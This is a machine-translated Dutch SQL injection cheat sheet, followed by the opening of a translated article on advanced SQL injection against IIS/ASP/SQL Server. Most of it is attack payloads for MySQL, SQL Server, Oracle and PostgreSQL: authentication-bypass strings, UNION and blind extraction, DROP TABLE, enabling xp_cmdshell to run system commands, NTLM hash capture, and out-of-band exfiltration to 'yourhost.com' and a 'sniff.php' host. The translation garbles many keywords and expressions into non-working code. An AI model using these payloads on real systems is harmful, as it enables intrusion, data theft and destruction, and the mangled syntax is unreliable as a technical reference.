SQL-injectie van binnen en van buiten. Problemen op de Russische markt

De SQL Injection Cheat Sheet is ontworpen om de technische kenmerken van verschillende typen SQL-injectie-kwetsbaarheden samen te vatten. Het artikel presenteert de kenmerken van SQL-injectie in MySQL, Microsoft SQL Server, ORAKEL en PostgreSQL.

0. Inleiding
In dit artikel vindt u gedetailleerde technische informatie over de verschillende soorten SQL-injectie. Het kan nuttig zijn voor zowel ervaren specialisten als beginners op het gebied van informatiebeveiliging.

Op dit moment bevat de spiekbrief alleen informatie voor MySQL, Microsoft SQL Server en enkele gegevens voor ORACLE en PostgreSQL. Secties bevatten syntaxis, uitleg en injectievoorbeelden.

Gebruikte notatie:
M (MySQL);
S (SQL-server);
O (Orakel);
P (PostgreSQL);
+ (eventueel op andere databases);
* (speciale voorwaarden vereist).

1. Regel opmerkingen
Opmerkingen zijn over het algemeen handig om een ​​deel van een verzoek te negeren.
Syntaxis:
- (SM): DROP-sampletabel; -
# (M): DROP-sampletabel; #
Voorbeeld:
Gebruikersnaam: beheerder "-
Gegenereerde zoekopdracht: SELECT * FROM leden WHERE gebruikersnaam = "admin" - "AND wachtwoord =" wachtwoord "
Hiermee kunt u inloggen als de admin-gebruiker en de wachtwoordcontrole negeren.

2. Blokkeer reacties
Met hun hulp kunt u een deel van het verzoek negeren, spaties vervangen, zwarte lijsten omzeilen en de versie van de database bepalen.
Syntaxis:
/ * Opmerking * / (SM):
DROP / * commentaar * / voorbeeldtabel
DR / ** / OP / * traverse_black_list * / voorbeeldtabel
SELECT / * space_replace * / wachtwoord / ** / FROM / ** / Leden

/ *! MYSQL Speciale SQL * / (M): SELECT / *!32302 1/0, * / 1 FROM tabelnaam
Dit is een MySQL-specifieke commentaarsyntaxis. Hiermee kunt u uw MySQL-versie detecteren. Deze opmerking werkt alleen in MySQL.
Voorbeelden:
identiteitsbewijs: 10; DROP TABLE leden / *
We negeren de rest van het verzoek, evenals een regelopmerking.

ID: / *! 32302 10 * /
u krijgt hetzelfde antwoord als bij ID = 10 als de MySQL-versie hoger is dan 3.23.02

ID: / *! 32302 1/0, * /
Gegenereerde query: SELECT / *!32302 1/0, * / 1 FROM tabelnaam
Deling door 0-fout treedt op als de server een MySQL-versie heeft die hoger is dan 3.23.02

3. Volgorde van verzoeken
Hiermee kunt u meer dan één verzoek tegelijk uitvoeren. Dit is nuttig op elk punt van injectie.


Groen - ondersteund; zwart - niet ondersteund; grijs - onbekend.
Syntaxis:
; (S): SELECTEER * VAN leden; DROP-leden--
Het ene verzoek is afgelopen, het volgende is begonnen.
Voorbeeld:
ID: 10; DROP-leden -
Gegenereerde query: SELECT * FROM producten WHERE id = 10; DROP-leden--
Met deze query wordt de ledentabel verwijderd na een normale query.

4. Voorwaardelijke verklaringen
Als aan de voorwaarde is voldaan, krijgen we een reactie op het verzoek. Dit is een van de belangrijkste punten van blinde injectie. Ze helpen ook om eenvoudige dingen nauwkeurig te controleren.
Syntaxis:
IF (voorwaarde, waar-deel, onwaar-deel) (M): SELECTEER IF (1 = 1, "true", "false")
IF voorwaarde waar-deel ELSE onwaar-deel (S): IF (1 = 1) SELECT "true" ELSE SELECT "false"
IF voorwaarde THEN waar-deel; ELSE valse deel; STOP ALS; EINDE; (O): IF (1 = 1) DAN dbms_lock.sleep (3); ANDERS dbms_lock.sleep (0); STOP ALS; EINDE;
SELECT CASE WHEN voorwaarde THEN waar-deel ELSE onwaar-deel END; (P): SELECTEER GEVAL WANNEER (1 = 1) DAN "A" ANDERS "B" EINDE;
voorbeeld:
if ((selecteer gebruiker) = "sa" OF (selecteer gebruiker) = "dbo") selecteer 1 anders selecteer 1/0 (S)
zal een deling door nul fout gooien als de huidige gebruiker niet "sa" of "dbo" is.

5. Cijfers gebruiken
Gebruikt om magic_quotes () en soortgelijke filters te omzeilen, inclusief WAF.
Syntaxis:
0xHEX_NUMBER (SM):
KIES CHAR (0x66) (S)
SELECT 0x5045 (dit is geen getal, maar een string) (M)
KIES 0x50 + 0x45 (dit is nu een getal) (M)
Voorbeelden:
SELECTEER LOAD_FILE (0x633A5C626F6F742E696E69) (M)
Toont de inhoud van het bestand c: \ boot.ini

6. String aaneenschakeling
Met rijbewerkingen kunt u filters omzeilen of een database definiëren.
Syntaxis:
+ (S): SELECT login + "-" + wachtwoord VAN leden
|| (* MO): SELECT login || "-" || wachtwoord VAN leden
Werkt als MySQL in ANSI-modus draait. Anders accepteert MySQL het niet als een booleaanse operator en retourneert het 0. Het is beter om de functie CONCAT () in MySQL te gebruiken.

CONCAT (str1, str2, str3, ...) (M): SELECTEER CONCAT (login, wachtwoord) FROM leden

7. Regels zonder aanhalingstekens
Er zijn verschillende manieren om het gebruik van aanhalingstekens in een query te vermijden, bijvoorbeeld met CHAR () (MS) en CONCAT () (M).
Syntaxis:
SELECTEER 0x457578 (M)

MySQL heeft een eenvoudige manier om een ​​string te hexen:
SELECTEER CONCAT ("0x", HEX ("c: \\ boot.ini"))

Retourneert de tekenreeks "KLM":
SELECTEER CONCAT (CHAR (75), CHAR (76), CHAR (77)) (M)
KIES CHAR (75) + CHAR (76) + CHAR (77) (S)
KIES CHR (75) || CHR (76) || CHR (77) (O)
SELECTEER (CHaR (75) || CHaR (76) || CHaR (77)) (P)

8. Conversie van strings en cijfers.
Syntaxis:
ASCII () (SMP): SELECTEER ASCII ("a")
Retourneert de ASCII-code van het meest linkse teken. De functie wordt gebruikt voor blinde injecties.

CHAR () (SM): KIES CHAR (64)
Vertaalt de ASCII-code naar het bijbehorende teken.

9. UNION-operator
Met de UNION-operator kunt u query's maken op het snijpunt van tabellen. In principe kunt u een query verzenden die een waarde uit een andere tabel retourneert.
Voorbeeld:
SELECT header, txt FROM nieuws UNION ALL SELECT naam, pass FROM leden
Hiermee worden de resultaten uit de nieuws- en ledentabellen gecombineerd.

10. Authenticatie-bypass (SMO +)
Voorbeelden:
beheerder "-
beheerder "#
beheerder "/ *
"of 1 = 1--
"of 1 = 1 #
"of 1 = 1 / *
") of" 1 "=" 1--
") of (" 1 "=" 1--

11. Omzeil authenticatie met MD5
Als de toepassing eerst de gebruikersnaam vergelijkt en vervolgens de md5-hash van het wachtwoord vergelijkt, hebt u extra trucs nodig om de authenticatie te omzeilen. U kunt de resultaten combineren met een bekend wachtwoord en de bijbehorende hash.
Voorbeeld (MSP):
Gebruikersnaam: admin
Wachtwoord: 1234 "EN 1 = 0 UNION ALL SELECT" admin ","
= MD5 (1234)

12. Op fouten gebaseerd
12.1 Kolommen definiëren met HAVING BY (S)
Voorbeeld:
In dezelfde volgorde
"HEBBEN 1 = 1 -
"GROUP BY table.columnfromerror1 MET 1 = 1 -
"GROUP BY table.columnfromerror1, columnfromerror2 HEBBEN 1 = 1 -
"GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 HEBBEN 1 = 1 -
…………….
Ga door totdat u geen fouten meer krijgt.

12.2 Het aantal kolommen bepalen met ORDER BY (MSO +)
Het vinden van het aantal kolommen met ORDER BY kan worden versneld met UNION-injectie.
BESTELLEN PER 1--
BESTELLEN PER 2--
BESTELLEN PER 3-
………………..
Ga door totdat u een foutmelding krijgt. Dit geeft het aantal kolommen aan.

13. Definitie van gegevenstype
Gebruik UNION altijd met ALL.
Om een ​​onnodige vermelding in de tabel te verwijderen, gebruikt u -1 niet-bestaande waarden aan het begin van de query (als injectie in de WHERE-parameter staat). Dit is belangrijk als u slechts één waarde tegelijk kunt ophalen.
Gebruik NULL in UNION-injectie in plaats van te proberen een string, datum, nummer, etc. te raden. Maar wees voorzichtig met blinde injectie, want u kunt de fout van de DB en de toepassing zelf verwarren. Sommige talen, bijvoorbeeld ASP.NET, geven een foutmelding bij het gebruik van een NULL-waarde (omdat de ontwikkelaars geen null-waarde in het gebruikersnaamveld hadden verwacht)
Voorbeelden:
"union select sum (columntofind) van gebruikers-- (S):
Als u geen foutmelding krijgt, is de kolom numeriek.

SELECTEER * UIT Tabel1 WAAR id = -1 UNION ALL SELECTEER null, null, NULL, NULL, convert (image, 1), null, null, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL, NULL -
U kunt CAST () of CONVERT () gebruiken

11223344) UNION SELECTEER NULL, NULL, NULL, NULL WAAR 1 = 2 –-
Als er geen fout is, is de syntaxis correct, d.w.z. gebruikt door MS SQL Server.

11223344) UNION SELECT 1, NULL, NULL, NULL WAAR 1 = 2 –-
Als er geen fout is, is de eerste kolom een ​​getal.

11223344) UNION SELECT 1,2, NULL, NULL WAAR 1 = 2 -
Als er een fout optreedt, is de tweede kolom geen getal.

11223344) UNION SELECT 1, '2', NULL, NULL WAAR 1 = 2 –-
Als er geen fout is, is de tweede kolom een ​​rij.
……………..

14. Eenvoudig invoegen (MSO +)
Voorbeeld:
"; invoegen in gebruikerswaarden ​​(1," hax0r "," coolpass ", 9) / *

15. Verzameling van informatie
Syntaxis:
@@ versie (MS)
U kunt de DB-versie en meer details controleren.
Voorbeeld:
INSERT INTO leden (id, gebruiker, pas) WAARDEN (1, "" + SUBSTRING (@@ version, 1,10), 10)

16. Complex inzetstuk (S)
Hiermee kunt u de inhoud van een bestand in een tabel invoegen. Als u het interne pad van de webtoepassing niet kent, kunt u de IIS-metabase lezen (alleen IIS 6).
Syntaxis:
bestand (% systemroot% \ system32 \ inetsrv \ MetaBase.xml)
Dan kunt u de toepassingspaden erin vinden.
Voorbeeld:
1. Maak tabel foo (string van varchar (8000) type)
2. Voeg in tabel foo de inhoud van het bestand 'c: \ inetpub \ wwwroot \ login.asp' in
3. Zet de tijdelijke tabel neer en herhaal voor een ander bestand.

17. BCP (S)
Schrijft een tekstbestand. Hiervoor zijn referenties nodig.
Voorbeeld:
bcp "SELECT * FROM test..foo" queryout c: \ inetpub \ wwwroot \ runcommand.asp -c -Slocalhost -Usa -Pfoobar

18.VBS, WSH in SQL Server (S)
U kunt VBS-, WSH-scripts gebruiken in SQL Server.
Voorbeeld:
Gebruikersnaam: "; declare @o int exec sp_oacreate" wscript.shell ", @o out exec sp_oamethod @o," run ", NULL," notepad.exe "-

19. Uitvoering van systeemcommando's (S)
Bekende truc, de functie is standaard uitgeschakeld in SQL Server 2005. Je hebt beheerdersrechten nodig.
Voorbeeld:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Speciale tabellen in SQL Server (S)
Voorbeelden:
Foutmeldingen: master..sysmessages
Gelinkte servers: master..sysservers
Wachtwoord SQL Server 2000: masters..sysxlogins
Wachtwoord SQL Server 2005: sys.sql_logins

21. Verschillende opgeslagen procedures voor SQL Server (S)
Syntaxis:
Cmd uitvoeren (xp_cmdshell)
Registerdingen (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Services beheren (xp_servicecontrol)
Media (xp_availablemedia)
ODBC-bronnen (xp_enumdsn)
Inlogmodus (xp_loginconfig)
Cab-bestanden maken (xp_makecab)
Domeintelling (xp_ntsec_enumdomains)
Process Killing (PID vereist) (xp_terminate_process)
Nieuwe procedure toevoegen (sp_addextendedproc)
Schrijf een tekstbestand naar een UNC of een intern pad (sp_makewebtask)
Voorbeelden:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM \ CurrentControlSet \ Services \ lanmanserver \ parameters", "nullsessionshares"
exec xp_regenumvalues ​​​​HKEY_LOCAL_MACHINE, "SYSTEEM \ CurrentControlSet \ Services \ snmp \ parameters \ validcommunities"
sp_addextendedproc ‘xp_webserver’, ‘c: \ temp \ x.dll’
exec xp_webserver

22. MSSQL-bulknotities
Voorbeelden:
SELECTEER * FROM master..sysprocesses / * WHERE [e-mail beveiligd]@ SPID * /
VERKLAREN @resultaat int; EXEC @result = xp_cmdshell "dir * .exe"; IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME ()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL / Q "DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL-injectie in LIMIT (M)-query's
Voorbeeld:
SELECT ID, product VAN test.test LIMIET 0,0 UNION ALLES SELECTEER 1, "x" / *, 10;
Om de LIMIT-instructie te omzeilen, kunt u UNION of commentaar gebruiken.

24. Sluit SQL Server (S) af
Voorbeeld:
"; stilgelegd -

25. xp_cmdshell inschakelen in SQL Server 2005
Syntaxis:
Standaard zijn xp_cmdshell en een aantal andere potentieel gevaarlijke functies uitgeschakeld in SQL Server 2005. Als beheerder kunt u ze inschakelen.
EXEC sp_configure "toon geavanceerde opties", 1
HERCONFIGUREREN
EXEC sp_configure "xp_cmdshell", 1
HERCONFIGUREREN

26. Zoeken in de databasestructuur in SQL Server (S)
Voorbeelden:
SELECT naam FROM sysobjects WHERE xtype = "U"

SELECT naam FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE naam = "tabelnaamvoorkolomnamen")
Kolomtitels ophalen

27. Records verplaatsen (S)
Voorbeelden:
... WHERE gebruikers NIET IN ("Eerste gebruiker", "Tweede gebruiker")
Gebruik WHERE met NOT IN of NOT EXIST

SELECTEER TOP 1 naam VAN leden WAAR NIET BESTAAN (SELECTEER TOP 0 naam VAN leden)

SELECT * FROM Product WHERE ID = 2 AND 1 = CAST ((Select p.name from (SELECT (SELECT COUNT (i.id) AS rid FROM sysobjects i WHERE i.id<=o.id)
AS x, naam van sysobjects o) als p waarbij p.x = 3) als int

Selecteer p.name uit (SELECT (SELECT COUNT (i.id) AS rid FROM sysobjects i WHERE xtype = "U" en i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Een snelle manier om gegevens te extraheren uit op fouten gebaseerde SQL-injectie in SQL Server (S)
"; BEGIN VERKLAREN @rt varchar (8000) SET @ rd =": "SELECT @ [e-mail beveiligd]+ "" + naam FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE naam = "LEDEN") EN naam> @rd SELECT @rd AS rd naar TMP_SYS_TMP einde; -

29. Zoeken in de databasestructuur in MySQL (M)
Voorbeelden:
SELECT tabelnaam FROM information_schema.tables WHERE table_schema = "tabelnaam"
Aangepaste tabellen ophalen

SELECT tabelnaam, kolomnaam FROM information_schema.columns WHERE table_schema = "tabelnaam"
Kolomtitels ophalen

30. Zoeken in de databasestructuur in Oracle (O)
Voorbeelden:
SELECT * FROM all_tables WHERE OWNER = "DATABASE_NAME"
Aangepaste tabellen ophalen

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABEL"
Kolomtitels ophalen

31. Blinde injectie
In een kwaliteitsapp kun je geen foutmeldingen zien. U kunt de UNION-operator en op fouten gebaseerde aanvallen niet gebruiken. U zult blinde SQL-injectie moeten gebruiken om gegevens op te halen. Er zijn twee soorten blinde injecties.
Plain Blind Injection: u kunt de resultaten van verzoeken niet op de pagina zien, maar u kunt het resultaat wel bepalen aan de hand van het antwoord of de HTTP-status.
Volledig blinde injectie: je zult geen verschil zien in de output.
Bij normale blinde injecties kunt u IF- en WHERE-statements gebruiken, bij volledig blinde injecties moet u enkele wachtfuncties gebruiken en responstijden vergelijken. Om dit te doen, kunt u WAIT FOR DELAY '0: 0: 10' gebruiken in SQL Server, BENCHMARK () en sleep (10) in MySQL, pg_sleep (10) in PostgreSQL.
Voorbeeld:
Dit voorbeeld is gebaseerd op een real-world exploitatie van Blind Injection op SQL Server.

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 name FROM sysObjects WHERE xtYpe = 0x55 AND name NOT IN (SELECT TOP 0 name FROM sysObjects WHERE xtYpe = 0x55)), 1 , 1)), 0)> 78--

ONWAAR: SELECT ID, gebruikersnaam, e-mail VAN WHERE ID = 1 EN ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 naam FROM sysObjects WHERE xtYpe = 0x55 AND name NOT IN (SELECT TOP 0 name FROM sysObjects WHERE xtYpe = 0x55)), 1 , 1)), 0)> 103--

ONWAAR: SELECT ID, gebruikersnaam, e-mail VAN WHERE ID = 1 EN ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 naam FROM sysObjects WHERE xtYpe = 0x55 AND name NOT IN (SELECT TOP 0 name FROM sysObjects WHERE xtYpe = 0x55)), 1 , 1)), 0)> 89--

ONWAAR: SELECT ID, gebruikersnaam, e-mail VAN WHERE ID = 1 EN ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 naam FROM sysObjects WHERE xtYpe = 0x55 AND name NOT IN (SELECT TOP 0 name FROM sysObjects WHERE xtYpe = 0x55)), 1 , 1)), 0)> 83--

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 name FROM sysObjects WHERE xtYpe = 0x55 AND name NOT IN (SELECT TOP 0 name FROM sysObjects WHERE xtYpe = 0x55)), 1 , 1)), 0)> 79--

ONWAAR: SELECT ID, gebruikersnaam, e-mail VAN WHERE ID = 1 EN ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 naam FROM sysObjects WHERE xtYpe = 0x55 AND name NOT IN (SELECT TOP 0 name FROM sysObjects WHERE xtYpe = 0x55)), 1 , 1)), 0)> 80--

Op basis van de laatste twee zoekopdrachten weten we zeker dat de waarde van het eerste teken in ascii 80 is. Het eerste teken is dus `P`. Zo kunnen we de namen van de tabellen en hun inhoud achterhalen. Een andere manier is om de gegevens beetje bij beetje uit te lezen.

32. Volledig blinde injectie
Gebruik deze methode alleen voor echt blinde injectie. Wees voorzichtig met latentie.
Syntaxis:
WACHT OP VERTRAGING "tijd" (S)
De functie wacht gewoon op de opgegeven tijd zonder de processor te laden.
Voorbeelden:
if (selecteer gebruiker) = "sa" wacht op vertraging "0: 0: 10"
ProductID = 1; wachten op vertraging "0: 0: 10" -
ProductID = 1); wachten op vertraging "0: 0: 10" -
ProductID = 1 "; wachten op vertraging" 0: 0: 10 "-
ProductID = 1 "); wacht op vertraging" 0: 0: 10 "-
ProductID = 1)); wachten op vertraging "0: 0: 10" -
ProductID = 1 ")); wacht op vertraging" 0: 0: 10 "-
Syntaxis:
BENCHMARK (hoe vaak, doe dit) (M)
Voorbeeld:
INDIEN BESTAAT (SELECT * FROM gebruikers WHERE gebruikersnaam = "root") BENCHMARK (1000000000, MD5 (1))
We controleren op de aanwezigheid van de rootgebruiker.

IF (SELECT * FROM login) BENCHMARK (1000000, MD5 (1))
Zoeken naar een tabel in MySQL
Syntaxis:
pg_sleep (seconden) (P)
Slaap voor geleverde seconden.

slaap (seconden) (M)
slaap voor geleverde seconden.

bms_pipe.receive_message (O)
slaap voor geleverde seconden.
Voorbeeld:
(SELECT CASE WHEN (NVL (ASCII (SUBSTR (((INJECTIE)), 1,1)), 0) = 100) THEN dbms_pipe.receive_message ("xyz"), 10) ELSE dbms_pipe.receive_message (("xyz" ), 1) EINDE VAN dubbel)
(INJECTIE) is uw verzoek.
Als de voorwaarde waar is, is de reactie 10 seconden. Anders is de reactie 1 seconde.

33. Handige MySQL-functies
Syntaxis:
MD5 ()
SHA1 ()
WACHTWOORD ()
ENCODE ()
SAMENPERSEN ()
AANTAL RIJEN ()
SCHEMA ()
VERSIE ()

34. Tweede orde SQL-injecties
Meestal voegt u een SQL-injectiequery in een veld in en verwacht u dat deze niet wordt gefilterd.
Voorbeeld:
Naam: "+ (SELECTEER TOP 1 wachtwoord FROM gebruikers) +"
E-mail: [e-mail beveiligd]
Als de toepassing de veldnaam van een opgeslagen procedure of functie gebruikt, kunt u die gebruiken voor injectie.

35. SQL Server gebruiken om NTLM-hashes op te halen
Deze aanval helpt om het Windows-gebruikerswachtwoord van de doelserver via SQL Server te krijgen als er geen externe toegang is. We kunnen SQL Server dwingen om verbinding te maken met Windows via een UNC-pad en de NTLM-sessie ophalen met speciale tools zoals Cain & Abel.

Syntaxis:
UNC-pad: "\\ UWIPADRES \ C $ \ x.txt"
36. Andere voorbeelden van injecties
SQL-server:
kwetsbaarParam = 1; SELECTEER * VANUIT OPENROWSET ("SQLOLEDB", ((INJECTIE)) + ". Yourhost.com"; "sa"; "pwd", "SELECT 1")

kwetsbaarParam = 1; VERKLAREN @q varchar (1024); SET @q = "\\" + ((INJECTIE)) + ". Yourhost.com \\ test.txt"; EXEC-master..xp_dirtree @q
maakt een DNS-verzoek aan (INJECTIE) .yourhost.com

(INJECTIE) is uw verzoek.
MijnSQL:
kwetsbareParam = -99 OF (SELECT LOAD_FILE (concat ("\\\\", ((INJECTION)), "yourhost.com \\")))
Creëert NBNS / DNS-verzoek naar yourhost.com
kwetsbareParam = -99 OF (SELECT ((INJECTIE)) IN OUTFILE "\\\\ yourhost.com \\ share \\ output.txt")
Schrijft gegevens naar uw bestand
(INJECTIE) is uw verzoek.
Orakel:
? kwetsbareParam = (SELECT UTL_HTTP.REQUEST ("http: // host / sniff.php? sniff =" || ((INJECTIE)) || "") VAN DUAL)
De sniffer slaat de resultaten op
kwetsbareParam = (SELECT UTL_HTTP.REQUEST ("http: // host /" || ((INJECTIE)) || ".html") VAN DUAL)
Resultaten worden opgeslagen in HTTP-logboeken
kwetsbareParam = (SELECT UTL_INADDR.get_host_addr (((INJECTIE)) || ".yourhost.com") VAN DUAL)

kwetsbareParam = (SELECT SYS.DBMS_LDAP.INIT (((INJECTIE)) || ’.yourhost.com’, 80) VAN DUAL)
U moet het verkeer van DNS-verzoeken naar uwhost.com analyseren
(INJECTIE) is uw verzoek.

Dit materiaal is een adaptieve vertaling van het artikel SQL Injection Cheat Sheet.

Dit werk is een vertaling van een gedeelte van Chris Anley's Advanced SQL Injection In SQL Server Applications. ()
In volgende artikelen, als er vrije tijd is, zal deze vertaling worden voltooid.

PS De vertaling zal interessanter zijn voor educatieve en historische doeleinden.

Oorspronkelijke titel van het artikel: Geavanceerde SQL-injectie in SQL-toepassingen.

annotatie

In dit artikel worden algemene "SQL-injectie"-methoden beschreven voor het bekende Microsoft Internet Information Server / Active Server Pages / SQL Server-platform. Het bespreekt de verschillende toepassingen van SQL-injectie in applicaties en legt gegevensvalidatietechnieken uit, evenals het beveiligen van databases waarin injecties kunnen worden gebruikt.

Invoering

Structured Query Language (SQL) is een gestructureerde taal die wordt gebruikt om te communiceren met databases. Er zijn veel "dialecten" van de SQL-taal, maar tegenwoordig zijn ze meestal gebaseerd op de SQL-92-standaard, een van de vroegste ANSI-standaarden. Het belangrijkste bedieningsblok van SQL is een query, een verzameling expressies die gewoonlijk een resultatenset retourneert. SQL-expressies kunnen de structuur van databases wijzigen (met behulp van DLL-expressies (Data Definition Language)) en hun inhoud manipuleren (met behulp van DML-expressies (Data Manipulation Language). In dit artikel zullen we kijken naar transactie-SQL die wordt gebruikt in Microsoft SQL Server.

SQL-injectie is mogelijk wanneer een aanvaller zijn SQL-code in een query kan invoegen om de gegevens te manipuleren die naar de applicatie worden verzonden.

Een typische SQL-instructie ziet er als volgt uit:

Selecteer id, voornaam, achternaam van auteurs

Deze expressie haalt "id", "voornaam" en "achternaam" uit de kolommen van de tabel "auteurs" en retourneert alle rijen in de tabel. De selectie kan worden beperkt door een bepaalde "auteur", bijvoorbeeld:

Selecteer id, voornaam, achternaam van auteurs waarbij voornaam = "jan" en achternaam = "smid"

Opgemerkt moet worden dat in deze query de letterlijke tekenreeksen worden gescheiden door een enkel aanhalingsteken. Er wordt aangenomen dat "voornaam" en "achternaam" gebruikersinvoer zijn. In dit geval kan de aanvaller zijn eigen SQL-query invoeren door zijn eigen waarden aan de applicatie toe te voegen. Bijvoorbeeld:

Voornaam: jo "hn Achternaam: smid

De uitdrukking zal dan de volgende vorm aannemen:

Selecteer id, voornaam, achternaam van auteurs waarbij voornaam = "jo" hn "en achternaam = "smid"

Nadat de database een dergelijk verzoek probeert te verwerken, wordt de volgende fout geretourneerd:

Server: Msg 170, niveau 15, staat 1, regel 1 regel 1: onjuiste syntaxis bij "hn".

De reden voor de fout is dat het ingevoerde enkele aanhalingsteken de structuur van de scheidingstekens in de query zal bederven. De database zal dus tevergeefs proberen het "hn"-commando uit te voeren, wat zal resulteren in een fout. Als een aanvaller de volgende informatie in het formulier invoert:

Voornaam: jo "; auteurs van tabellen laten vallen-- Achternaam:

De tabel "auteurs" wordt verwijderd, dus we zullen later bekijken waarom.

Je zou kunnen denken dat als we enkele aanhalingstekens uit het invoerformulier verwijderen, en ze ook "vervangen", dit ons probleem zou kunnen oplossen. En je hebt gelijk, er zijn echter enkele problemen met het gebruik van deze methode als oplossing voor dit probleem. Ten eerste is niet alle gebruikersinvoer "strings". Waar het aangepaste formulier de "id" van de auteur zal bevatten, wat meestal een getal is. Ons verzoek kan er bijvoorbeeld als volgt uitzien:

Selecteer id, voornaam, achternaam van auteurs waarbij id = 1234

In dit geval kan de aanvaller eenvoudig een SQL-instructie toevoegen na de numerieke gegevens. In andere soorten SQL-query's worden verschillende scheidingstekens gebruikt. In Microsoft Jet DBMS is het scheidingsteken bijvoorbeeld "#". Ten tweede is het "ontsnappen" van enkele aanhalingstekens niet de gemakkelijkste manier om jezelf te beschermen, zoals het op het eerste gezicht lijkt. We zullen hier later in meer detail over praten.

Hier is een voorbeeld gebaseerd op een Active Server Pages (ASP)-aanmeldingspagina die SQL gebruikt om toegang te krijgen tot een database om een ​​gebruiker in een toepassing te autoriseren.

Hier is de code van de pagina met het inlogformulier, waarin de gebruikersnaam en het wachtwoord worden ingevoerd.

Login pagina

Log in

Gebruikersnaam:
Wachtwoord:

Hieronder staat de code (process_login.asp) die de juistheid van de ingevoerde gegevens bepaalt.